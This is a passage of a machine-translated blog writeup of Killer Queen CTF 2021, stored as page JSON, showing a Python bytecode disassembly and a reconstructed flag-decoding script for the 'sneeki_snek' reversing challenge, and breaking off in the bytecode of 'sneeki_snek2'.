{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-killer-queen-2021-en","result":{"data":{"markdownRemark":{"id":"2777c6e6-6b9c-53e7-8248-7506b704a4e0","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-killer-queen-2021\">original page</a>.</p>\n</blockquote>\n<p>I participated in <a href=\"https://ctftime.org/event/1482\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Killer Queen CTF 2021</a> as team <a href=\"https://ctftime.org/team/168239\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">0neP@dding</a>, and I wrote a short writeup only for the challenges I found interesting.</p>\n<p>The scoreboard was closed as soon as the event ended, so unfortunately I do not know the final standings. We solved 14 challenges in total, and the last time I checked the scoreboard we were in 62nd place. (The final standing was probably around 100th.)</p>\n<p>Given that nearly 1,000 teams participated, that is not bad, but personally I wanted to place in the top 50, so I need to keep improving.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li>\n<p><a href=\"#rev\">Rev</a></p>\n<ul>\n<li><a href=\"#sneeki_snek\">sneeki_snek</a></li>\n<li><a href=\"#sneeki_snek2\">sneeki_snek2</a></li>\n<li><a href=\"#jazz\">jazz</a></li>\n<li><a href=\"#gombalab\">gombalab</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#pwn\">Pwn</a></p>\n<ul>\n<li><a href=\"#a-kind-of-magic\">A Kind of Magic</a></li>\n<li><a href=\"#hammertofall\">HammerToFall</a></li>\n<li><a href=\"#zoom2win\">zoom2win</a></li>\n<li><a href=\"#tweetbird\">tweetbird</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#forensic\">Forensic</a></p>\n<ul>\n<li><a href=\"#obligatory-shark\">Obligatory Shark</a></li>\n<li><a href=\"#shes-a-killed-queen\">Shes A Killed Queen</a></li>\n</ul>\n</li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"rev\" style=\"position:relative;\"><a href=\"#rev\" aria-label=\"rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Rev</h2>\n<h3 id=\"sneeki_snek\" style=\"position:relative;\"><a href=\"#sneeki_snek\" aria-label=\"sneeki_snek permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>sneeki_snek</h3>\n<p>This was a reversing challenge involving Python bytecode generated as an intermediate <code class=\"language-text\">.pyc</code> file.</p>\n<p>Once you inspect the bytecode, you can roughly tell what it does. From there, you can reconstruct the Python script, compile it in your own environment, and confirm that the generated bytecode matches the challenge bytecode to recover the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">  <span class=\"token number\">4</span>           <span class=\"token number\">0</span> LOAD_CONST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">)</span>\n              <span class=\"token number\">2</span> STORE_FAST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">5</span>           <span class=\"token number\">4</span> LOAD_CONST               <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span><span class=\"token string\">'rwhxi}eomr\\\\^`Y'</span><span class=\"token punctuation\">)</span>\n              <span class=\"token number\">6</span> STORE_FAST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">6</span>           <span class=\"token number\">8</span> LOAD_CONST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span><span class=\"token string\">'f]XdThbQd^TYL&amp;\\x13g'</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">10</span> STORE_FAST               <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>z<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">7</span>          <span class=\"token number\">12</span> LOAD_FAST                <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">14</span> LOAD_FAST                <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>z<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">16</span> BINARY_ADD\n             <span class=\"token number\">18</span> STORE_FAST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">8</span>          <span class=\"token number\">20</span> LOAD_GLOBAL              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>enumerate<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">22</span> LOAD_FAST                <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">24</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n             <span class=\"token number\">26</span> GET_ITER\n        <span class=\"token operator\">>></span>   <span class=\"token number\">28</span> FOR_ITER                <span class=\"token number\">48</span> <span class=\"token punctuation\">(</span>to <span class=\"token number\">78</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">30</span> UNPACK_SEQUENCE          <span class=\"token number\">2</span>\n             <span class=\"token number\">32</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">34</span> STORE_FAST               <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">9</span>          <span class=\"token number\">36</span> LOAD_GLOBAL              <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>ord<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">38</span> LOAD_FAST                <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">40</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n             <span class=\"token number\">42</span> STORE_FAST               <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">10</span>          <span class=\"token number\">44</span> LOAD_FAST                <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">46</span> LOAD_CONST               <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">48</span> BINARY_SUBTRACT\n             <span class=\"token number\">50</span> STORE_FAST               <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">11</span>          <span class=\"token number\">52</span> LOAD_FAST                <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">54</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">56</span> BINARY_ADD\n             <span class=\"token number\">58</span> STORE_FAST               <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">12</span>          <span class=\"token number\">60</span> LOAD_GLOBAL              <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>chr<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">62</span> LOAD_FAST                <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">64</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n             <span class=\"token number\">66</span> STORE_FAST               <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">13</span>          <span class=\"token number\">68</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">70</span> LOAD_FAST                <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">72</span> INPLACE_ADD\n             <span class=\"token number\">74</span> STORE_FAST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">76</span> JUMP_ABSOLUTE           <span class=\"token number\">28</span>\n\n <span class=\"token number\">14</span>     <span class=\"token operator\">>></span>   <span class=\"token number\">78</span> LOAD_GLOBAL              <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>print<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">80</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">82</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n             <span class=\"token number\">84</span> POP_TOP\n             <span class=\"token number\">86</span> LOAD_CONST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>None<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">88</span> RETURN_VALUE</code></pre></div>\n<p>I used the following article as a reference for generating and inspecting bytecode.</p>\n<p>Reference: <a href=\"https://qiita.com/amedama/items/698a7c4dbdd34b03b427\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Reading pyc file (Python 3.5.2) - Qiita</a></p>\n<p>Here is the reconstructed Python script in the end.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">f <span class=\"token operator\">=</span> <span class=\"token string\">''</span>\na <span class=\"token operator\">=</span> <span class=\"token string\">'rwhxi}eomr\\\\^`Y'</span>\nz <span class=\"token operator\">=</span> <span class=\"token string\">'f]XdThbQd^TYL&amp;\\x13g'</span>\na <span class=\"token operator\">=</span> a <span class=\"token operator\">+</span> z\n<span class=\"token keyword\">for</span> i<span class=\"token punctuation\">,</span> b <span class=\"token keyword\">in</span> <span class=\"token builtin\">enumerate</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    c <span class=\"token operator\">=</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n    c <span class=\"token operator\">=</span> c <span class=\"token operator\">-</span> <span class=\"token number\">7</span>\n    c <span class=\"token operator\">=</span> c <span class=\"token operator\">+</span> i\n    c <span class=\"token operator\">=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n    f <span class=\"token operator\">+=</span> c\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this gives the flag.</p>\n<h3 id=\"sneeki_snek2\" style=\"position:relative;\"><a href=\"#sneeki_snek2\" aria-label=\"sneeki_snek2 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>sneeki_snek2</h3>\n<p>The bytecode is a bit longer, but it can be solved with the same approach as the previous challenge.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">  <span class=\"token number\">4</span>           <span class=\"token number\">0</span> BUILD_LIST               <span class=\"token number\">0</span>\n              <span class=\"token number\">2</span> STORE_FAST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n\n  <span class=\"token number\">5</span>           <span class=\"token number\">4</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n              <span class=\"token number\">6</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n              <span class=\"token number\">8</span> LOAD_CONST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">10</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">12</span> POP_TOP\n\n  <span class=\"token number\">6</span>          <span class=\"token number\">14</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">16</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">18</span> LOAD_CONST               <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1762811</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">20</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">22</span> POP_TOP\n\n  <span class=\"token number\">7</span>          <span class=\"token number\">24</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">26</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">28</span> LOAD_CONST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1794011</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">30</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">32</span> POP_TOP\n\n  <span class=\"token number\">8</span>          <span class=\"token number\">34</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">36</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">38</span> LOAD_CONST               <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1039911</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">40</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">42</span> POP_TOP\n\n  <span class=\"token number\">9</span>          <span class=\"token number\">44</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">46</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">48</span> LOAD_CONST               <span class=\"token number\">5</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1061211</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">50</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">52</span> POP_TOP\n\n <span class=\"token number\">10</span>          <span class=\"token number\">54</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">56</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">58</span> LOAD_CONST               <span class=\"token number\">6</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1718321</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">60</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">62</span> POP_TOP\n\n <span class=\"token number\">11</span>          <span class=\"token number\">64</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">66</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">68</span> LOAD_CONST               <span class=\"token number\">7</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">70</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">72</span> POP_TOP\n\n <span class=\"token number\">12</span>          <span class=\"token number\">74</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">76</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">78</span> LOAD_CONST               <span class=\"token number\">8</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">80</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">82</span> POP_TOP\n\n <span class=\"token number\">13</span>          <span class=\"token number\">84</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">86</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">88</span> LOAD_CONST               <span class=\"token number\">9</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\n             <span class=\"token number\">90</span> CALL_METHOD              <span class=\"token number\">1</span>\n             <span class=\"token number\">92</span> POP_TOP\n\n <span class=\"token number\">14</span>          <span class=\"token number\">94</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">96</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n             <span class=\"token number\">98</span> LOAD_CONST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">100</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">102</span> POP_TOP\n\n <span class=\"token number\">15</span>         <span class=\"token number\">104</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">106</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">108</span> LOAD_CONST              <span class=\"token number\">10</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">110</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">112</span> POP_TOP\n\n <span class=\"token number\">16</span>         <span class=\"token number\">114</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">116</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">118</span> LOAD_CONST              <span class=\"token number\">11</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1506121</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">120</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">122</span> POP_TOP\n\n <span class=\"token number\">17</span>         <span class=\"token number\">124</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">126</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">128</span> LOAD_CONST              <span class=\"token number\">12</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1783901</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">130</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">132</span> POP_TOP\n\n <span class=\"token number\">18</span>         <span class=\"token number\">134</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">136</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">138</span> LOAD_CONST              <span class=\"token number\">12</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1783901</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">140</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">142</span> POP_TOP\n\n <span class=\"token number\">19</span>         <span class=\"token number\">144</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">146</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">148</span> LOAD_CONST               <span class=\"token number\">7</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">150</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">152</span> POP_TOP\n\n <span class=\"token number\">20</span>         <span class=\"token number\">154</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">156</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">158</span> LOAD_CONST              <span class=\"token number\">10</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">160</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">162</span> POP_TOP\n\n <span class=\"token number\">21</span>         <span class=\"token number\">164</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">166</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">168</span> LOAD_CONST               <span class=\"token number\">8</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">170</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">172</span> POP_TOP\n\n <span class=\"token number\">22</span>         <span class=\"token number\">174</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">176</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">178</span> LOAD_CONST              <span class=\"token number\">13</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1561711</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">180</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">182</span> POP_TOP\n\n <span class=\"token number\">23</span>         <span class=\"token number\">184</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">186</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">188</span> LOAD_CONST               <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1039911</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">190</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">192</span> POP_TOP\n\n <span class=\"token number\">24</span>         <span class=\"token number\">194</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">196</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">198</span> LOAD_CONST              <span class=\"token number\">10</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">200</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">202</span> POP_TOP\n\n <span class=\"token number\">25</span>         <span class=\"token number\">204</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">206</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">208</span> LOAD_CONST               <span class=\"token number\">7</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">210</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">212</span> POP_TOP\n\n <span class=\"token number\">26</span>         <span class=\"token number\">214</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">216</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">218</span> LOAD_CONST              <span class=\"token number\">13</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1561711</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">220</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">222</span> POP_TOP\n\n <span class=\"token number\">27</span>         <span class=\"token number\">224</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">226</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">228</span> LOAD_CONST              <span class=\"token number\">10</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">230</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">232</span> POP_TOP\n\n <span class=\"token number\">28</span>         <span class=\"token number\">234</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">236</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">238</span> LOAD_CONST               <span class=\"token number\">7</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">240</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">242</span> POP_TOP\n\n <span class=\"token number\">29</span>         <span class=\"token number\">244</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">246</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token 